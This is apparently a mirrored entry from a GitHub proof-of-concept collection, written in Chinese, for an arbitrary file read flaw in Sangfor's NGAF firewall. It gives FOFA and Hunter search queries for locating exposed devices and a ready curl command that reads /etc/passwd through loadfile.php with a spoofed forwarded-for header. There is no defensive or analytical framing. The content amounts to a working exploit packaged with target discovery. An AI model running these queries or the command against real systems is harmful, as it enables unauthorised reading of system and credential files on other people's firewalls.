mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-05 02:15:30 +00:00
20 lines
475 B
Markdown
20 lines
475 B
Markdown
## 深信服下一代防火墙NGAF任意文件读取漏洞
|
|
|
|
## fofa:
|
|
|
|
"Redirect.php?url=/LogInOut.php" && port="85"
|
|
|
|
## hunter:
|
|
web.body="LogInOut.php?type=logout"
|
|
|
|
## 漏洞复现
|
|
```
|
|
curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|